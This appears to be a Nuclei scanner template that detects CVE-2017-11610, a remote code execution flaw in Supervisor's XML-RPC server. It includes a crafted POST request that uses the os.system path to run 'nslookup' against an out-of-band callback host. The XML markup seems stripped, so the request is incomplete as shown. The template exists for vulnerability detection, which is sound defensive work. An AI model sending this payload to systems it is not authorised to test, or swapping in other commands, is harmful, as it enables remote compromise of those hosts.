id: CVE-2017-11610
info:
name: XML-RPC Server - Remote Code Execution
author: notnotnotveg
severity: high
description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.
remediation: |
Apply the latest security patches or disable the XML-RPC server if not required.
reference:
- https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
- https://nvd.nist.gov/vuln/detail/CVE-2017-11610
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/
- http://www.debian.org/security/2017/dsa-3942
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2017-11610
cwe-id: CWE-276
epss-score: 0.97457
epss-percentile: 0.99943
cpe: cpe:2.3:a:supervisord:supervisor:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: supervisord
product: supervisor
shodan-query: http.title:"Supervisor Status"
tags: oast,xmlrpc,msf,cve,cve2017,rce,supervisor
http:
- raw:
- |
POST /RPC2 HTTP/1.1
Host: {{Hostname}}
Accept: text/xml
Content-type: text/xml
supervisor.supervisord.options.warnings.linecache.os.system
nslookup {{interactsh-url}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: header
words:
- "text/xml"
- type: word
part: body
words:
- ""
- ""
condition: and
# digest: 4a0a00473045022074c9061c7f600c51a3ae392f22d5e48ef2648f1fdba29ea45a5b21b09ae81cdf02210082452c8d91b8d77c0ca335ba24c487f4a7d8b188226f813bc2a6de0cb9093f6c:922c64590222798bb761d5b6d8e72950